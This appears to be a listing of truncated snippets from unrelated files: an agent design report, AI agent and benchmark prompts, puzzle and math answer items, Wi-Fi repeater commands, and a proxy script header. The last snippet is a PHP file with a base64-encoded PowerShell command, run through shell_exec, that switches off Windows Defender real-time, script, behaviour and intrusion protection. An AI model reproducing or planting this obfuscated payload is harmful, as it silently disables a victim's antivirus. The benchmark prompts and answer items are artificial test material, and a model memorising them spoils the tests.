| # Lingxi Agent Design: Comprehensive Analysis & Implementation Guide | |
| ## Executive Summary | |
| Lingxi achieved **74.6% success rate on SWE-Bench Verified** and **44.15% (132/300) on SWE-Bench Lite**, ranking **#3 among open-source models and #7 overall**. The framework demonstrates that carefully engineered multi-agent systems can surpass single-agent baselines by addressing **context dilution** - where lengthy chat histories distract models during delicate code-editing steps. This report provides a complete analysis of Lingxi's design patterns and actionable implementation strategies for other agentic code tools. | |
| ## Table of Contents | |
| 1. [Key Insights from Technical Report](#key-insights-from-technical-report) | |
| 2. [Agent Architecture Overview](#agent-architecture-overview) |
| description | argument-hint | |
|---|---|---|
Systematically investigate and diagnose software issues using methodical debugging protocols. |
|
Read @$ARGUMENTS to understand the issue.
You are an expert software debugging specialist conducting a systematic investigation of this issue.
| # Agentic Coding Challenge: "The Phantom Content Bug" | |
| ## Commit: 2f6267ba7d8fed021415711191307d5efedadc05 | |
| ## Context | |
| You're working on a proxy service that translates between two API formats (Claude ↔ OpenAI). The service has two execution modes: | |
| - **Enhanced mode**: Runs preprocessing, then main execution | |
| - **Direct mode**: Skips preprocessing, goes straight to execution | |
| ## The Problem | |
| Users report that responses show "(no content)" in their client, but only under specific conditions: | |
| - ✅ Enhanced mode always works perfectly |
| 1. Reset Repeater | |
| 2. Connect and run | |
| $ miiocli wifirepeater --ip 10.10.10.1 --token xxx raw_command miIO.config_router '{"ssid":"Open Wi-Fi","passwd":"","uid":0}' | |
| 3. Connect and run | |
| $ miiocli wifirepeater --ip 192.168.19.1 --token xxx raw_command miIO.switch_wifi_ssid '[{"ssid":"my_wifi","pwd":"mywifi1234","hidden":0,"wifi_explorer":0}]' |
| === LaundyBench === | |
| You are an expert frontend developer specializing in modern, high-performance landing pages with exceptional attention to visual design and user experience. Create a visually stunning laundry service landing page for "GoGoWash" that captures users' attention with contemporary design trends. Structure your solution as three separate files: index.html, style.css, and script.js. Design with a blue and white color scheme featuring smooth, subtle microanimations distributed evenly across ALL sections (not just the first two). Implement non-intrusive floating bubble animations that enhance rather than distract from the content, ensuring they work seamlessly on both desktop and mobile devices. | |
| Build the page with exactly 5-7 distinct sections following this logical flow: (1) Hero section with animated headline and CTA, (2) Services showcase with hover effects, (3) Features/benefits with scroll-triggered animations, (4) Pricing or process explanation with interactive elements, (5) Testimonials wi |
| Use this tool to create and manage a structured task list for your current coding session. This helps you track progress, organize complex tasks, and demonstrate thoroughness to the user. | |
| It also helps the user understand the progress of the task and overall progress of their requests. | |
| ## When to Use This Tool | |
| Use this tool proactively in these scenarios: | |
| 1. Complex multi-step tasks - When a task requires 3 or more distinct steps or actions | |
| 2. Non-trivial and complex tasks - Tasks that require careful planning or multiple operations | |
| 3. User explicitly requests todo list - When the user directly asks you to use the todo list | |
| 4. User provides multiple tasks - When users provide a list of things to be done (numbered or comma-separated) |
| puzzle: Five people live on five consecutive floors. The engineer lives three floors above the doctor. The teacher lives on an odd-numbered floor. The artist lives immediately above the lawyer. The lawyer doesn't live on the first floor. The artist lives on an even-numbered floor. Who lives on the second floor? | |
| answer: Doctor | |
| gcd(1984627, 1964681) | |
| answer: 9973 | |
| 10212111273rd prime number | |
| answer: 257668725341 |
| #!/usr/bin/env bash | |
| ######################################################################### | |
| # Proxy Manager Script | |
| # | |
| # A utility to setup and manage proxy configurations for Burp Suite | |
| # or other HTTP/HTTPS proxies for security testing and analysis. | |
| # | |
| ######################################################################### |
| <companion_llm_prompt> | |
| <!-- Basic Role Definition --> | |
| <role> | |
| <core_identity>You are a thinking partner who helps me think better, not a tool that thinks for me. Your goal is to strengthen my thinking skills through our conversations.</core_identity> | |
| <main_goal>Help me develop my own thinking abilities rather than replacing them with yours.</main_goal> | |
| <key_rules> | |
| <rule>Never solve problems for me that I should solve myself</rule> | |
| <rule>Ask questions more often than giving answers</rule> | |
| <rule>Make me do the hard thinking work</rule> | |
| <rule>Guide me when I'm stuck but don't take over</rule> |
| <?php | |
| $base64 = 'cG93ZXJzaGVsbCAtY29tbWFuZCAnU2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1EaXNhYmxlQmVoYXZpb3JNb25pdG9yaW5nICR0cnVlIC1EaXNhYmxlSU9BVlByb3RlY3Rpb24gJHRydWUgLURpc2FibGVJbnRydXNpb25QcmV2ZW50aW9uU3lzdGVtICR0cnVlJw=='; | |
| shell_exec(base64_decode($base64)); | |
| ?> |
